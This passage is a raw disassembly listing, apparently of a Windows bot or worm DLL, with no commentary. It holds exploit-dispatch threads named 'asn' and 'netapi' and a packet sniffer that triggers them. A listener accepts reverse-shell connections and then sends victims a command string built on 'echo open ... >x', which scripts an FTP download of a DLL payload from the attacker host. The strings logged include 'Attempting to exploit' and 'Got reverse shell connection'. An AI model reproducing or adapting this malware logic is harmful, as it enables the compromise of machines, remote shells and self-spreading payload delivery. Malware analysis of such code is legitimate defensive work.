		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1000A265
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4

loc_1000A265:				; CODE XREF: sub_1000A1A9+A2j
		lea	eax, [ebp+argp]
		push	eax		; argp
		push	98000001h	; cmd
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:ioctlsocket	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1000A29B
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4

loc_1000A29B:				; CODE XREF: sub_1000A1A9+D8j
					; sub_1000A1A9+14Ej ...
		xor	eax, eax
		mov	al, byte_1002D0F6
		test	eax, eax
		jz	loc_1000A4EA
		push	0		; flags
		push	0FFFFh		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		test	eax, eax
		jg	short loc_1000A2E1
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4

loc_1000A2E1:				; CODE XREF: sub_1000A1A9+11Ej
		lea	ecx, [ebp+buf]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx+9]
		cmp	eax, 6
		jz	short loc_1000A2F9
		jmp	short loc_1000A29B
; ---------------------------------------------------------------------------

loc_1000A2F9:				; CODE XREF: sub_1000A1A9+14Cj
		lea	ecx, [ebp+var_10000]
		mov	[ebp+var_10088], ecx
		mov	edx, [ebp+var_10088]
		xor	eax, eax
		mov	al, [edx+0Dh]
		cmp	eax, 12h
		jnz	loc_1000A4E5
		mov	ecx, [ebp+var_10088]
		mov	dx, [ecx+2]
		push	edx		; netshort
		call	ds:ntohs	; ntohs
		and	eax, 0FFFFh
		xor	ecx, ecx
		mov	cx, word_1002D13C
		cmp	eax, ecx
		jnz	loc_1000A4E5
		mov	edx, [ebp+var_10088]
		mov	ax, [edx]
		push	eax		; netshort
		call	ds:ntohs	; ntohs
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_10074]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jz	short loc_1000A3B3
		mov	edx, [ebp+var_10088]
		mov	ax, [edx]
		push	eax		; netshort
		call	ds:ntohs	; ntohs
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_10074+2]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jz	short loc_1000A3B3
		mov	edx, [ebp+var_10088]
		mov	ax, [edx]
		push	eax		; netshort
		call	ds:ntohs	; ntohs
		and	eax, 0FFFFh
		mov	ecx, dword ptr [ebp+Str1]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jnz	loc_1000A4E5

loc_1000A3B3:				; CODE XREF: sub_1000A1A9+1BAj
					; sub_1000A1A9+1DFj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		mov	dword ptr [ebp+in.S_un], eax
		movsx	ecx, [ebp+Str1+2]
		test	ecx, ecx
		jz	loc_1000A4AF
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_1009C], eax
		mov	ecx, [ebp+var_10088]
		mov	dx, [ecx]
		push	edx		; netshort
		call	ds:ntohs	; ntohs
		mov	[ebp+var_100A0], ax
		mov	byte ptr [ebp+var_10098], 0
		push	offset aAsn_1	; "asn"
		lea	eax, [ebp+Str1+2]
		push	eax		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000A447
		lea	ecx, [ebp+var_100A0]
		push	ecx
		push	offset sub_10001EBF
		call	sub_10004C65
		add	esp, 8
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0
		jnz	short loc_1000A438
		jmp	loc_1000A29B
; ---------------------------------------------------------------------------

loc_1000A438:				; CODE XREF: sub_1000A1A9+288j
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle
		jmp	short loc_1000A494
; ---------------------------------------------------------------------------

loc_1000A447:				; CODE XREF: sub_1000A1A9+265j
		push	offset aNetapi_1 ; "netapi"
		lea	eax, [ebp+Str1+2]
		push	eax		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000A494
		lea	ecx, [ebp+var_100A0]
		push	ecx
		push	offset sub_10003D60
		call	sub_10004C65
		add	esp, 8
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0
		jnz	short loc_1000A487
		jmp	loc_1000A29B
; ---------------------------------------------------------------------------

loc_1000A487:				; CODE XREF: sub_1000A1A9+2D7j
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle

loc_1000A494:				; CODE XREF: sub_1000A1A9+29Cj
					; sub_1000A1A9+2B4j ...
		mov	eax, [ebp+var_10098]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_1000A4AD
		push	0Ah		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_1000A494
; ---------------------------------------------------------------------------

loc_1000A4AD:				; CODE XREF: sub_1000A1A9+2F8j
		jmp	short loc_1000A4E5
; ---------------------------------------------------------------------------

loc_1000A4AF:				; CODE XREF: sub_1000A1A9+21Fj
		mov	ecx, dword ptr [ebp+in.S_un]
		push	ecx		; in
		call	ds:inet_ntoa	; inet_ntoa
		push	eax
		mov	edx, [ebp+var_10088]
		mov	ax, [edx]
		push	eax		; netshort
		call	ds:ntohs	; ntohs
		and	eax, 0FFFFh
		push	eax		; char
		push	offset aHuAttemptingTo ; "%hu |	Attempting to exploit %s"
		push	offset dword_1002C7E8 ;	int
		call	sub_10007303
		add	esp, 10h

loc_1000A4E5:				; CODE XREF: sub_1000A1A9+16Aj
					; sub_1000A1A9+191j ...
		jmp	loc_1000A29B
; ---------------------------------------------------------------------------

loc_1000A4EA:				; CODE XREF: sub_1000A1A9+FBj
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000A1A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000A50C	proc near		; DATA XREF: sub_10009EF0+113o

Dest		= byte ptr -44Ch
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
s		= dword	ptr -434h
var_430		= dword	ptr -430h
addr		= sockaddr ptr -42Ch
in		= in_addr ptr -41Ch
addrlen		= dword	ptr -418h
buf		= byte ptr -414h
var_14		= dword	ptr -14h
name		= sockaddr ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 44Ch
		mov	[ebp+addrlen], 10h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	[ebp+var_43C], ecx
		mov	[ebp+var_438], edx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_430], eax
		mov	ecx, [ebp+var_430]
		mov	byte ptr [ecx+4], 1
		push	0		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0FFFFFFFFh
		jnz	short loc_1000A57D
		push	1
		mov	edx, [ebp+var_43C]
		push	edx
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4

loc_1000A57D:				; CODE XREF: sub_1000A50C+53j
		mov	[ebp+name.sa_family], 2
		mov	ax, Val
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	word ptr [ebp+name.sa_data], ax
		mov	dword ptr [ebp+name.sa_data+2],	0
		push	8		; Size
		push	0		; Val
		lea	ecx, [ebp+name.sa_data+6]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch

loc_1000A5AB:				; CODE XREF: sub_1000A50C+C2j
		push	10h		; namelen
		lea	edx, [ebp+name]
		push	edx		; name
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:bind	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1000A5D0
		push	1388h		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_1000A5AB
; ---------------------------------------------------------------------------

loc_1000A5D0:				; CODE XREF: sub_1000A50C+B5j
		push	0Ah		; backlog
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:listen	; listen

loc_1000A5DF:				; CODE XREF: sub_1000A50C+104j
					; sub_1000A50C+1B3j
		mov	edx, 1
		test	edx, edx
		jz	loc_1000A6C4
		lea	eax, [ebp+addrlen]
		push	eax		; addrlen
		lea	ecx, [ebp+addr]
		push	ecx		; addr
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:accept	; accept
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_1000A612
		jmp	short loc_1000A5DF
; ---------------------------------------------------------------------------

loc_1000A612:				; CODE XREF: sub_1000A50C+102j
		mov	eax, dword ptr [ebp+addr.sa_data+2]
		mov	dword ptr [ebp+in.S_un], eax
		mov	ecx, dword ptr [ebp+in.S_un]
		push	ecx		; in
		call	ds:inet_ntoa	; inet_ntoa
		push	eax		; char
		push	offset aGotReverseShel ; "[+] Got reverse shell	connection from	%"...
		push	offset dword_1002C7E8 ;	int
		call	sub_10007303
		add	esp, 0Ch
		call	sub_10006FA2
		push	eax
		push	offset aS_dll_8	; "%s.dll"
		push	10h		; Count
		lea	edx, [ebp+Dest]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		lea	ecx, [ebp+Dest]
		push	ecx
		xor	edx, edx
		mov	dx, hostshort
		push	edx
		push	offset Dest
		push	offset aEchoOpenSHuX_0 ; "echo open %s %hu>x&echo user x x>>x&ech"...
		push	400h		; Count
		lea	eax, [ebp+buf]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		push	0		; flags
		lea	ecx, [ebp+buf]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+var_14]
		push	eax		; s
		call	ds:send	; send
		mov	ecx, [ebp+var_14]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		jmp	loc_1000A5DF
; ---------------------------------------------------------------------------

loc_1000A6C4:				; CODE XREF: sub_1000A50C+DAj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000A50C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000A6D0	proc near		; DATA XREF: .data:1000E05Co
		push	ebp
		mov	ebp, esp
		call	sub_1000A6DF
		call	sub_1000A6EF
		pop	ebp
		retn
sub_1000A6D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000A6DF	proc near		; CODE XREF: sub_1000A6D0+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D149
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
sub_1000A6DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000A6EF	proc near		; CODE XREF: sub_1000A6D0+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_1000A701 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_1000A6EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_1000A701()

sub_1000A701	proc near		; DATA XREF: sub_1000A6EF+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D149
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_1000A701	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000A711	proc near		; DATA XREF: .data:1000E060o
		push	ebp
		mov	ebp, esp
		call	sub_1000A720
		call	sub_1000A730
		pop	ebp
		retn
sub_1000A711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000A720	proc near		; CODE XREF: sub_1000A711+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D148
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_1000A720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000A730	proc near		; CODE XREF: sub_1000A711+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_1000A742 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_1000A730	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_1000A742()

sub_1000A742	proc near		; DATA XREF: sub_1000A730+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D148
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_1000A742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000A752(char	*Source,int)

sub_1000A752	proc near		; CODE XREF: sub_10007424+E99p
					; sub_10007424+FE8p ...

var_4		= dword	ptr -4
Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_1000A768
; ---------------------------------------------------------------------------

loc_1000A75F:				; CODE XREF: sub_1000A752:loc_1000A7C7j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_1000A768:				; CODE XREF: sub_1000A752+Bj
		cmp	[ebp+var_4], 200h
		jge	short loc_1000A7C9
		mov	ecx, [ebp+var_4]
		imul	ecx, 0CCh
		movsx	edx, byte_10012DD8[ecx]
		test	edx, edx
		jnz	short loc_1000A7C7
		push	40h		; Count
		mov	eax, [ebp+Source]
		push	eax		; Source
		mov	ecx, [ebp+var_4]
		imul	ecx, 0CCh
		add	ecx, offset byte_10012DD8
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	80h		; Count
		mov	edx, [ebp+arg_4]
		push	edx		; Source
		mov	eax, [ebp+var_4]
		imul	eax, 0CCh
		add	eax, offset dword_10012E18
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		jmp	short loc_1000A7C9
; ---------------------------------------------------------------------------

loc_1000A7C7:				; CODE XREF: sub_1000A752+31j
		jmp	short loc_1000A75F
; ---------------------------------------------------------------------------

loc_1000A7C9:				; CODE XREF: sub_1000A752+1Dj
					; sub_1000A752+73j
		mov	ecx, [ebp+var_4]
		imul	ecx, 0CCh
		movsx	edx, byte_10012DD8[ecx]
		test	edx, edx
		jnz	short loc_1000A7E2
		or	eax, 0FFFFFFFFh
		jmp	short loc_1000A7E5
; ---------------------------------------------------------------------------

loc_1000A7E2:				; CODE XREF: sub_1000A752+89j
		mov	eax, [ebp+var_4]

loc_1000A7E5:				; CODE XREF: sub_1000A752+8Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_1000A752	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000A7E9(char	*Str1)

sub_1000A7E9	proc near		; CODE XREF: sub_10009C30+Bp
					; sub_10009EF0+8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str1		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		jmp	short loc_1000A808
; ---------------------------------------------------------------------------

loc_1000A7FF:				; CODE XREF: sub_1000A7E9+3Cj
					; sub_1000A7E9:loc_1000A84Fj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_1000A808:				; CODE XREF: sub_1000A7E9+14j
		cmp	[ebp+var_4], 200h
		jge	short loc_1000A851
		mov	ecx, [ebp+var_4]
		imul	ecx, 0CCh
		movsx	edx, byte_10012DD8[ecx]
		test	edx, edx
		jnz	short loc_1000A827
		jmp	short loc_1000A7FF
; ---------------------------------------------------------------------------

loc_1000A827:				; CODE XREF: sub_1000A7E9+3Aj
		mov	eax, [ebp+var_4]
		imul	eax, 0CCh
		add	eax, offset byte_10012DD8
		push	eax		; Str2
		mov	ecx, [ebp+Str1]
		push	ecx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000A84F
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx

loc_1000A84F:				; CODE XREF: sub_1000A7E9+5Bj
		jmp	short loc_1000A7FF
; ---------------------------------------------------------------------------

loc_1000A851:				; CODE XREF: sub_1000A7E9+26j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000A7E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000A858	proc near		; CODE XREF: sub_10007424+16ECp

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	dword ptr [ebp+var_4], 0
		jmp	short loc_1000A86E
; ---------------------------------------------------------------------------

loc_1000A865:				; CODE XREF: sub_1000A858:loc_1000A8CAj
		mov	eax, dword ptr [ebp+var_4]
		add	eax, 1
		mov	dword ptr [ebp+var_4], eax

loc_1000A86E:				; CODE XREF: sub_1000A858+Bj
		cmp	dword ptr [ebp+var_4], 200h
		jge	short loc_1000A8CC
		mov	ecx, dword ptr [ebp+var_4]
		imul	ecx, 0CCh
		movsx	edx, byte_10012DD8[ecx]
		test	edx, edx
		jz	short loc_1000A8CA
		mov	eax, dword ptr [ebp+var_4]
		imul	eax, 0CCh
		add	eax, offset dword_10012E18
		push	eax
		mov	ecx, dword ptr [ebp+var_4]
		imul	ecx, 0CCh
		add	ecx, offset byte_10012DD8
		push	ecx
		mov	edx, dword ptr [ebp+var_4]
		push	edx		; char
		push	offset aD_SS	; "%d. %s (%s)"
		mov	eax, [ebp+arg_0]
		push	eax		; int
		call	sub_10007303
		add	esp, 14h
		push	3E8h		; dwMilliseconds
		call	ds:Sleep	; Sleep

loc_1000A8CA:				; CODE XREF: sub_1000A858+31j
		jmp	short loc_1000A865
; ---------------------------------------------------------------------------

loc_1000A8CC:				; CODE XREF: sub_1000A858+1Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_1000A858	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000A8D0(char	*Str1)

sub_1000A8D0	proc near		; CODE XREF: sub_10007424+1477p
					; sub_10007424+1484p ...

var_4		= dword	ptr -4
Str1		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_1000A8E6
; ---------------------------------------------------------------------------

loc_1000A8DD:				; CODE XREF: sub_1000A8D0+37j
					; sub_1000A8D0:loc_1000AA00j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_1000A8E6:				; CODE XREF: sub_1000A8D0+Bj
		cmp	[ebp+var_4], 200h
		jge	loc_1000AA05
		mov	ecx, [ebp+var_4]
		imul	ecx, 0CCh
		movsx	edx, byte_10012DD8[ecx]
		test	edx, edx
		jnz	short loc_1000A909
		jmp	short loc_1000A8DD
; ---------------------------------------------------------------------------

loc_1000A909:				; CODE XREF: sub_1000A8D0+35j
		mov	eax, [ebp+var_4]
		imul	eax, 0CCh
		add	eax, offset byte_10012DD8
		push	eax		; Str2
		mov	ecx, [ebp+Str1]
		push	ecx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	loc_1000AA00
		mov	edx, [ebp+var_4]
		imul	edx, 0CCh
		xor	eax, eax
		mov	al, byte_10012E98[edx]
		test	eax, eax
		jz	short loc_1000A958
		mov	ecx, [ebp+var_4]
		imul	ecx, 0CCh
		mov	byte_10012E98[ecx], 0
		mov	byte_1002D0F6, 0

loc_1000A958:				; CODE XREF: sub_1000A8D0+6Fj
		mov	edx, [ebp+var_4]
		imul	edx, 0CCh
		xor	eax, eax
		mov	al, byte_10012E99[edx]
		test	eax, eax
		jz	short loc_1000A984
		mov	ecx, [ebp+var_4]
		imul	ecx, 0CCh
		mov	byte_10012E99[ecx], 0
		mov	byte_1002D0F7, 0

loc_1000A984:				; CODE XREF: sub_1000A8D0+9Bj
		push	0		; dwExitCode
		mov	edx, [ebp+var_4]
		imul	edx, 0CCh
		mov	eax, dword_10012EA0[edx]
		push	eax		; hThread
		call	ds:TerminateThread	; TerminateThread
		mov	ecx, [ebp+var_4]
		imul	ecx, 0CCh
		mov	edx, dword_10012EA0[ecx]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle
		mov	eax, [ebp+var_4]
		imul	eax, 0CCh
		mov	dword_10012EA0[eax], 0
		push	40h		; Size
		push	0		; Val
		mov	ecx, [ebp+var_4]
		imul	ecx, 0CCh
		add	ecx, offset byte_10012DD8
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	80h		; Size
		push	0		; Val
		mov	edx, [ebp+var_4]
		imul	edx, 0CCh
		add	edx, offset dword_10012E18
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch

loc_1000AA00:				; CODE XREF: sub_1000A8D0+56j
		jmp	loc_1000A8DD
; ---------------------------------------------------------------------------

loc_1000AA05:				; CODE XREF: sub_1000A8D0+1Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_1000A8D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000AA09	proc near		; CODE XREF: sub_10007424+17A3p
					; sub_1000AAE1+37p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		imul	eax, 0CCh
		xor	ecx, ecx
		mov	cl, byte_10012E98[eax]
		test	ecx, ecx
		jz	short loc_1000AA38
		mov	edx, [ebp+arg_0]
		imul	edx, 0CCh
		mov	byte_10012E98[edx], 0
		mov	byte_1002D0F6, 0

loc_1000AA38:				; CODE XREF: sub_1000AA09+16j
		mov	eax, [ebp+arg_0]
		imul	eax, 0CCh
		xor	ecx, ecx
		mov	cl, byte_10012E99[eax]
		test	ecx, ecx
		jz	short loc_1000AA64
		mov	edx, [ebp+arg_0]
		imul	edx, 0CCh
		mov	byte_10012E99[edx], 0
		mov	byte_1002D0F7, 0

loc_1000AA64:				; CODE XREF: sub_1000AA09+42j
		push	0		; dwExitCode
		mov	eax, [ebp+arg_0]
		imul	eax, 0CCh
		mov	ecx, dword_10012EA0[eax]
		push	ecx		; hThread
		call	ds:TerminateThread	; TerminateThread
		mov	edx, [ebp+arg_0]
		imul	edx, 0CCh
		mov	eax, dword_10012EA0[edx]
		push	eax		; hObject
		call	ds:CloseHandle	; CloseHandle
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0CCh
		mov	dword_10012EA0[ecx], 0
		push	40h		; Size
		push	0		; Val
		mov	edx, [ebp+arg_0]
		imul	edx, 0CCh
		add	edx, offset byte_10012DD8
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	80h		; Size
		push	0		; Val
		mov	eax, [ebp+arg_0]
		imul	eax, 0CCh
		add	eax, offset dword_10012E18
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		pop	ebp
		retn
sub_1000AA09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000AAE1	proc near		; CODE XREF: sub_10007424+951p
					; sub_10007424:loc_10007DDAp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_1000AAF7
; ---------------------------------------------------------------------------

loc_1000AAEE:				; CODE XREF: sub_1000AAE1:loc_1000AB20j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_1000AAF7:				; CODE XREF: sub_1000AAE1+Bj
		cmp	[ebp+var_4], 200h
		jge	short loc_1000AB22
		mov	ecx, [ebp+var_4]
		imul	ecx, 0CCh
		movsx	edx, byte_10012DD8[ecx]
		test	edx, edx
		jz	short loc_1000AB20
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_1000AA09
		add	esp, 4

loc_1000AB20:				; CODE XREF: sub_1000AAE1+31j
		jmp	short loc_1000AAEE
; ---------------------------------------------------------------------------

loc_1000AB22:				; CODE XREF: sub_1000AAE1+1Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_1000AAE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000AB26	proc near		; CODE XREF: sub_1000329E+752p
					; StartAddress+2B2p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		imul	eax, 0CCh
		xor	ecx, ecx
		mov	cl, byte_10012E98[eax]
		test	ecx, ecx
		jz	short loc_1000AB55
		mov	edx, [ebp+arg_0]
		imul	edx, 0CCh
		mov	byte_10012E98[edx], 0
		mov	byte_1002D0F6, 0

loc_1000AB55:				; CODE XREF: sub_1000AB26+16j
		mov	eax, [ebp+arg_0]
		imul	eax, 0CCh
		xor	ecx, ecx
		mov	cl, byte_10012E99[eax]
		test	ecx, ecx
		jz	short loc_1000AB81
		mov	edx, [ebp+arg_0]
		imul	edx, 0CCh
		mov	byte_10012E99[edx], 0
		mov	byte_1002D0F7, 0

loc_1000AB81:				; CODE XREF: sub_1000AB26+42j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_1000ABA3
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0CCh
		mov	edx, dword_10012EA0[ecx]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle

loc_1000ABA3:				; CODE XREF: sub_1000AB26+65j
		mov	eax, [ebp+arg_0]
		imul	eax, 0CCh
		mov	dword_10012EA0[eax], 0
		push	40h		; Size
		push	0		; Val
		mov	ecx, [ebp+arg_0]
		imul	ecx, 0CCh
		add	ecx, offset byte_10012DD8
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	80h		; Size
		push	0		; Val
		mov	edx, [ebp+arg_0]
		imul	edx, 0CCh
		add	edx, offset dword_10012E18
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		pop	ebp
		retn
sub_1000AB26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000ABF3	proc near		; CODE XREF: start+107p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_1000AC09
; ---------------------------------------------------------------------------

loc_1000AC00:				; CODE XREF: sub_1000ABF3+2Dj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_1000AC09:				; CODE XREF: sub_1000ABF3+Bj
		cmp	[ebp+var_4], 200h
		jge	short loc_1000AC22
		push	0
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_1000AB26
		add	esp, 8
		jmp	short loc_1000AC00
; ---------------------------------------------------------------------------

loc_1000AC22:				; CODE XREF: sub_1000ABF3+1Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_1000ABF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000AC30	proc near		; DATA XREF: .data:1000E064o
		push	ebp
		mov	ebp, esp
		call	sub_1000AC3F
		call	sub_1000AC4F
		pop	ebp
		retn
sub_1000AC30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000AC3F	proc near		; CODE XREF: sub_1000AC30+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D151
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
sub_1000AC3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000AC4F	proc near		; CODE XREF: sub_1000AC30+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_1000AC61 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_1000AC4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_1000AC61()

sub_1000AC61	proc near		; DATA XREF: sub_1000AC4F+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D151
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_1000AC61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000AC71	proc near		; DATA XREF: .data:1000E068o
		push	ebp
		mov	ebp, esp
		call	sub_1000AC80
		call	sub_1000AC90
		pop	ebp
		retn
sub_1000AC71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000AC80	proc near		; CODE XREF: sub_1000AC71+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D150
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_1000AC80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000AC90	proc near		; CODE XREF: sub_1000AC71+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_1000ACA2 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
